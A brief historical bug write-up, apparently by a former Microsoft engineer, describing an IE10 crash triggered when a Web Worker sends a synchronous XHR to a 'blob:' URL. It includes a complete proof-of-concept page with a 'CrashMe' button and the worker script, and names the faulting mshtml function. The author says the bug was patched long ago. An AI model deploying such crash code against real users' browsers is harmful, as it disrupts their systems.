IE10 DoS: Web Worker Sending XHR to a Blob URL Crashes the Browser

Creating a Blob URL in the main page and then spawning a Web Worker that sent an XHR to any blob URL — even just "blob:" — caused IE10 to crash.

<script>
function main()
{
    var oXML = new XMLHttpRequest();
    oXML.open("GET", "index.html", false); // URL doesn't matter
    oXML.responseType = "blob";
    oXML.send(null);

    window.URL.createObjectURL(oXML.response); // generates a blob URL (no need to save it)

    new Worker('worker.js');
}
</script>
<input type="button" onclick="main()" value="CrashMe" />

// worker.js
var oXML = new XMLHttpRequest();
oXML.open("GET", "blob:", false); // "blob:" alone is enough
oXML.send(null); // Crash!

The fault occurred in mshtml!CMarkup::IsPendingPrimaryMarkup when the worker’s XHR tried to resolve the blob protocol while the markup context was in an invalid state.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.